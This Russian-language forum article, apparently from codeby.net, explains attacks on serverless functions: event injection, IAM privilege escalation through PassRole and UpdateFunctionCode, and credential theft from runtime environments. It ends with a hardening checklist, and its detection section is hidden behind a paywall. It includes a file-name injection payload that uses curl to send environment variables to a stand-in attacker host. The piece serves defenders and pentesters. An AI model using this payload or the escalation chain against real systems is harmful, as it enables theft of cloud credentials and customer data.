На cloud-пентесте для финтех-компании в начале 2025 года я получил доступ к AWS-аккаунту через утёкший access key из публичного GitHub-репозитория. Понедельник, 9:15 утра. Первый же вызов
aws lambda list-functions показал 47 Lambda-функций, 12 из которых имели execution role с Action: "*" на S3 и DynamoDB. К 10:40 я выстроил цепочку от event injection в SQS-триггер до чтения production-таблицы с платёжными данными. SOC заказчика не увидел ничего - CloudTrail был включён, но ни одного алерта на serverless-специфичные TTPs не существовало. Потенциальная утечка 200 тысяч записей, штраф по 152-ФЗ до 500 тысяч рублей за инцидент, плюс репутационные потери, которые никто не считает заранее. Это разбор конкретных атак на serverless-функции и, главное, того, что мониторить в SIEM, чтобы подобные цепочки не проходили насквозь.Записано со слов нашего коллеги. При написании статьи использованы материалы из зарубежных источников.
Место serverless-атак в kill chain
Serverless Execution (T1648, тактика Execution) в MITRE ATT&CK описывает злоупотребление бессерверными вычислениями для выполнения произвольного кода в облаке. Но T1648 - лишь одна точка. Реальная serverless-атака разворачивается в несколько стадий, и каждая по-своему неприятна для detection.Initial Access - компрометация учётных данных: access keys в репозитории, утечка через CI/CD, фишинг IAM-пользователя. Или прямая эксплуатация публичного API Gateway без авторизатора - такое встречается чаще, чем хотелось бы.
Execution (T1648) - запуск вредоносного кода: создание новой функции, модификация существующей через
UpdateFunctionCode, или инъекция payload через event-триггер в легитимную функцию.Persistence - установка триггера (CloudWatch Events / EventBridge rule), который вызывает вредоносную функцию при создании IAM-пользователя или загрузке файла. По данным ISACA, атакующие используют Lambda-функции как эфемерные C2-серверы: функция получает команды, передаёт их на скомпрометированные хосты и завершается. Следов в файловой системе нет, потому что файловой системы нет.
Credential Access - извлечение временных IAM-токенов из runtime-окружения или чтение захардкоженных секретов из переменных среды.
Lateral Movement - украденные credentials идут в ход для доступа к S3, DynamoDB, SQS, Secrets Manager и другим сервисам в рамках permissions скомпрометированной execution role.
По отчёту Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. Serverless security market, по данным Data Bridge Market Research (цитируется Qualys), достиг 12,08 млрд USD в 2024 году и прогнозируется на уровне 62,42 млрд к 2032. Деньги вкладываются, но зрелость detection отстаёт на годы.
Ключевая проблема для forensics: функция живёт миллисекунды, контейнер уничтожается после исполнения. Без потокового логирования доказательства испаряются вместе с инстансом. Это как расследовать ограбление, где преступник растворяется в воздухе вместе с комнатой.
Event injection: отравление триггеров serverless-функций
Serverless-функции event-driven по определению. Они активируются событиями из десятков источников: HTTP-запросы через API Gateway, загрузка файлов в S3, сообщения SQS/SNS, изменения DynamoDB Streams, события EventBridge. Каждый триггер - инъекционная точка, и это прямо соотносится с A03:2021 Injection из OWASP Top 10.Инъекции через S3 и очереди сообщений
Классический вектор на внутреннем пентесте: Lambda обрабатывает файлы из S3-бакета и использует имя объекта без санитизации - передаёт его в shell-команду. Атакующий с правамиs3:PutObject загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv. Функция подставляет имя в os.system() - переменные окружения с IAM-токенами уходят наружу за одно исполнение. Одно. Миллисекунды.Применимость: внутренний пентест (нужен доступ на запись в бакет) или внешний - если бакет открыт через misconfigured bucket policy. Работает на функциях с shell-вызовами, не работает если код использует только AWS SDK (boto3) для обработки объектов. На практике разработчики любят дёргать
os.system() для «быстрой» конвертации файлов через ImageMagick или ffmpeg - и вот тут-то оно и стреляет.SQS-очередь с Lambda-подписчиком - аналогичная точка. Атакующий с permission
sqs:SendMessage отправляет сообщение с payload, который эксплуатирует десериализацию, SQL-инъекцию в downstream-базу или command injection через JSON-поле. API Gateway без request validation пропускает произвольные данные прямо в event-объект Lambda.По OWASP API Security Top 10, Broken Object Level Authorization (API1:2023) и Unrestricted Resource Consumption (API4:2023) напрямую применимы к serverless-API: недостаточная авторизация и отсутствие лимитов на ресурсы дают атакующему контроль над входными данными функции.
Ограничения event injection
Event injection не сработает в следующих условиях:- Lambda использует строгую JSON-схему через API Gateway request validation
- Перед функцией стоит WAF с правилами на injection-паттерны (но возможны обходы через нестандартные Content-Type)
- Функция обрабатывает только типизированные события без пользовательского ввода (DynamoDB Streams, Kinesis)
- Реализован Lambda authorizer с проверкой JWT/OAuth-токенов
- Код не выполняет shell-команды и не строит запросы конкатенацией
Privilege escalation через IAM-роли serverless-функций
Цепочка iam:PassRole и UpdateFunctionCode
Самый жирный вектор serverless privilege escalation - комбинация двух IAM permissions: iam:PassRole и lambda:UpdateFunctionCode. Цепочка выглядит так:- Атакующий контролирует IAM-principal с этими двумя permissions (часто - скомпрометированный devops-аккаунт или insider с легитимным доступом к CI/CD)
- В аккаунте есть Lambda-функция с административной execution role (типично для dev/staging-окружений, забытых после миграции - я такие нахожу почти на каждом проекте)
- Атакующий обновляет код функции через
aws lambda update-function-code, заменяя handler на payload, который через boto3 создаёт нового IAM-пользователя сAdministratorAccess - Один вызов функции - и атакующий получает persistent административный доступ к аккаунту
lambda__backdoor_new_roles). В Azure аналогичный вектор: Microsoft.Web/sites/config/write + назначение Managed Identity с Contributor role. В GCP - cloudfunctions.functions.update + замена service account на более привилегированный.Контекст применения: внутренний пентест, grey box (есть учётные данные с ограниченными правами). На внешнем пентесте для этого вектора нужен initial access к IAM-principal, что добавляет шаг в kill chain. Но если initial access есть - дальше всё раскручивается за минуты.
Кража credentials из runtime-окружения
Все три платформы инжектируют временные credentials в runtime:| Платформа | Механизм | Переменные / Endpoint |
|---|---|---|
| AWS Lambda | Env vars + IMDS | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Azure Functions | Managed Identity | IDENTITY_ENDPOINT, IDENTITY_HEADER → OAuth 2.0 token |
| GCP Cloud Functions | Metadata Server | http://metadata.google.internal/ → OAuth 2.0 token |
По исследованию Permiso, DevOps-инженеры регулярно хранят в переменных окружения Lambda-функций API-ключи, пароли баз данных и сервисные токены в открытом виде. Инструмент CloudFox (команда
cloudfox aws lambda-env) автоматически сканирует все функции в аккаунте и вытягивает значения env vars. На моих пентестах в 6 из 10 облачных аккаунтов Lambda-функции содержат хотя бы один plaintext-секрет. Это lateral movement без дополнительной эксплуатации - просто прочитал переменные и пошёл дальше.По OWASP Secrets Management Cheat Sheet, переменные окружения не рекомендуются для хранения секретов из-за глобальной доступности, попадания в логи и системные дампы. Альтернатива - AWS Secrets Manager, Azure Key Vault, Google Secret Manager с динамическим получением в runtime. По документам все знают, что так правильно. На практике - кладут пароль в env var «чтобы быстрее».
Detection: корреляционные правила для атак на serverless
Для SOC-команды serverless-атаки - головная боль особого рода: эфемерность + ограниченная видимость в стандартных дашбордах. CloudWatch и Azure Monitor показывают метрики вызовов, но не анализируют payload. Ниже - конкретные CloudTrail-события и правила корреляции, которые стоит внедрить первыми.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
; curl attacker.com.Чеклист hardening serverless-функций
Готовый перечень для передачи cloud-инженерам или включения в отчёт по аудиту:- Execution role - каждая функция получает отдельную IAM-роль с минимальными permissions. Wildcard
*в Action или Resource запрещён. Проверять через IAM Access Analyzer iam:PassRole- ограничить conditioniam:PassedToService: lambda.amazonaws.comи явным списком допустимых role ARN- Секреты - никаких plaintext-значений в env vars. Использовать Secrets Manager (AWS) / Key Vault (Azure) / Secret Manager (GCP). Включить KMS-шифрование для переменных окружения
- API Gateway - включить request validation, настроить Lambda authorizer или Cognito. Поставить WAF с managed rule group для injection
- Очереди и топики - убрать
Principal: "*"из resource-based policy SQS/SNS. Реализовать валидацию schema сообщений внутри функции - Timeout - установить минимально необходимый (для большинства задач 10-15 секунд, максимум 60). Это ограничивает Denial of Wallet
- Concurrency - установить reserved concurrency для каждой функции. Без лимита одна функция исчерпывает весь account-level concurrency (по умолчанию 1000 в AWS)
- VPC - функции, работающие с RDS/ElastiCache, размещать в VPC без NAT Gateway если не нужен исходящий интернет. Блокирует data exfiltration
- Мониторинг - включить CloudTrail data events для Lambda. Настроить правила из раздела Detection. Retention CloudWatch Logs - минимум 90 дней
- Dependencies - интегрировать Snyk или Dependabot в CI/CD. Собирать deployment package из lock-файлов, не из floating versions. Отслеживать SHA256 hash каждого Lambda Layer
Serverless-атаки - область, где атакующие на два-три шага впереди большинства SOC-команд. Проблема не в отсутствии инструментов: CloudTrail всё логирует, IAM Access Analyzer показывает избыточные права, ScoutSuite аудирует конфигурации. Проблема в том, что serverless-специфичные detection-правила не входят в стандартные наборы, поставляемые с SIEM. Я видел десятки SOC-ов с сотнями правил для EC2 и ни одним - для Lambda. Когда атакующий через
UpdateFunctionCode внедряет payload в production-функцию, единственное, что его выдаёт - CloudTrail event, который никто не парсит.Большинство команд закрывают cloud detection галочкой «CloudTrail включён» и считают задачу решённой. Включили камеру в серверной, а монитор забыли: данные есть, detection нет.
По моему прогнозу, в ближайшие полтора года serverless станет основным вектором persistence в cloud-средах - функции дешёвые, эфемерные и невидимые для стандартных мониторингов. Команды, которые первыми закроют gap в detection coverage, получат реальное преимущество. Остальные будут разбирать postmortem, где credential theft произошёл за 200 миллисекунд, а обнаружен через три недели. На codeby.net идёт тред по cloud-специфичным detection-правилам - там разбирают корреляции именно под serverless TTPs для CloudTrail и Azure Activity Log.